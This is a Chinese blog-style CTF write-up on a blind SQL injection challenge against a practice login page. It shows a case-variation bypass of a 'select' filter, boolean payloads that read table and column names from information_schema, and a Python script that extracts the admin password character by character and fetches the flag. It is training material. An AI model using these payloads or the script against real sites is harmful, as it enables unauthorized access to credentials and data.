这两天学的东西比较少,更多的时间在尝试一些ctf题,熟悉一下套路,扩展一下脑洞,顺便写一些小工具来提升码代码的水平。
废话不多说,直接来看题吧。
原地址在这里 I'm here
是一个登陆界面,开始怕作者埋什么套路,所以首先看了下源码,发现什么提示都没有。那接下来就要靠自己去尝试了。账号和密码输入admin admin 用弱口令先去尝试,发现页面回显提示登录失败。
注意看,我们输入的用户名在页面中显示出来了。说明我们插入的语句被拿到数据库中去执行了,接下来我们来判断是否存在注入,是什么类型的注入。输入 admin' admin页面什么提示都没返回。
但是我们在用户名处输入的admin'被输出到页面了,这是好事,说明单引号没有被过滤,之所以没有返回提示信息,我猜测是没有闭合语句导致的,所以我们试试来闭合一下试试。在用户名处输入 admin' =' 得到
得到提示了,根据这个提示我又尝试了其他语句, 比如 1' or '1'='1,发现和只输入admin时得到的信息一样,提示登录失败,这说明admin是正确的用户名,到这里我们就只剩下密码不知道了。到了这里就确定是盲注了,因为页面只回显给我们 0和1。接下来fuzz了一下,发现过滤了select,这我当时懵逼了,这无论怎么绕过都js提示注入攻击,后来发现是一个蹩脚的题,利用大小写绕过虽然也弹框提示注入攻击,但是却可以正常执行.
接下来就是构造语句来进行盲注了,过程就不多叙述了,把需要的语法记录下来,后面附自己写的垃圾脚本。
查询表的长度:(由于该题前端的限制,只允许输入10个以内的字符,我是在hackbar里测试的)
admin' length((Select group_concat(table_name)from information_schema.tables where table_schema = database()))>n
猜表名:
admin' ascii(substr((Select group_concat(table_name)from information_schema.tables where table_schema = database()),n,1))=m //这里注意用二分法
同样的方法猜字段名以及爆破密码。由于手工太浪费时间了,自己写了个小脚本,下午又完善了一下,在这里发出了,半自动- -, 另外由于暂时不会多线程,所以爆破的很慢。
#-*- coding:utf8 -*- import requests import re tname = '' cname = '' password = '' flag ='' url = 'http://ctf5.shiyanbar.com/basic/inject/index.php?admin=1' payload = '%27%20or%20length((Select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema%20=%20database()))={m}%20--%20&pass=&action=login' for i in range(1,10): payload1 = payload.format(m=i) url1 = requests.get(url+payload1) if '</center></div>' in url1.content: print 'length:',i break payload2 = '%27 or ascii(substr(({x}),{y},1))={z}-- &pass=1&action=login' print u'客观稍等......' for k in range(1,i+1): for d in range(60,124): payload3 = payload2.format(x='Select group_concat(table_name)from information_schema.tables where table_schema = database()',y=k,z=d) url2 = requests.get(url+payload3) if '</center></div>' in url2.content: tname += chr(d) break print 'table_name:',tname pp = '%27 or ascii(substr((Select group_concat(column_name)from information_schema.columns where table_name ={s}),{s1},1))={s2}-- &pass=1&action=login' print u'要不坐下来喝杯茶吧。' for k1 in range(1,18): for k2 in range(0,124): pp1 = pp.format(s="'%s'"%tname,s1=k1,s2=k2) url3 = requests.get(url+pp1) if '</center></div>' in url3.content: cname += chr(k2) break print cname print u'就要完成了,loading......' cn = raw_input('column_name:') p1 = '%27 or ascii(substr((Select {cnn} from {tnn}),{nn},1))={mm}-- &pass=1&action=login' for kk in range(1,9): for kk1 in range(0,124): p2 = p1.format(cnn='%s'%cn,tnn='%s'%tname,nn=kk,mm=kk1) uu = requests.get(url+p2) if '</center></div>' in uu.content: password += chr(kk1) break url4 = 'http://ctf5.shiyanbar.com/basic/inject/index.php?admin={admin}&pass={passwd}&action=login' url5 = url4.format(admin='admin',passwd='%s'%password) u1 = requests.get(url5) if 'KEY' in u1.content: bb = re.findall('KEY :(.*?)</center>',u1.text) print u'[+]....恭喜喽!....[+]' print 'flag',bb
效果图: